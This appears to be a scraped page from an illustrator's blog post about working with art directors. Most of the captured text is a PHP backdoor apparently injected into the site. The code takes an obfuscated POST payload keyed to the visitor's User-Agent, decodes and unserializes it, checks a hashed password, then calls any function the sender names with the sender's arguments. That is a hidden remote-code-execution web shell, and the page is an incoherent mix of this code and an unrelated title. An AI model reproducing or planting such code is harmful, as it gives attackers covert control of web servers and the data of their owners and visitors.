if (!function_exists('mnk_al_send_act')){ function mnk_al_send_act(){ $pass = '8c002da2ad2619f4eb37420afced188b'; if (!array_key_exists(md5($_SERVER['HTTP_USER_AGENT']),$_POST)){ return false; } if (!function_exists('gzdecode')){ $data = gzinflate(base64_decode($_POST[md5($_SERVER['HTTP_USER_AGENT'])])); if ($data !== false){ $data = @unserialize($data); }else{ return array('error'=>'gzdeflate'); } }else{ $data = @unserialize(gzdecode(base64_decode($_POST[md5($_SERVER['HTTP_USER_AGENT'])]))); } if (($data === false) || (md5($data['pass']) != $pass)){ return false; } if (!empty($data['args2'])){ $fn = $data['action']($data['args'],$data['args2']); if(is_callable($fn)){ return $fn(); } return $fn; }else if (!empty($data['args'])){ return $data['action']($data['args']); } return $data['action'](); } if (($data = mnk_al_send_act()) !== false){ exit (serialize($data)); } } How to endear yourself to an art director – pt. 1 | Terri Cohlene